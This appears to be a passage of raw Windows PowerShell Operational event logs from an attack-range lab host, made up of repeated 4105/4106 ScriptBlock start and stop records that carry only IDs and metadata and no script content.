09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038485
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038479
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038457
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038455
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038454
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
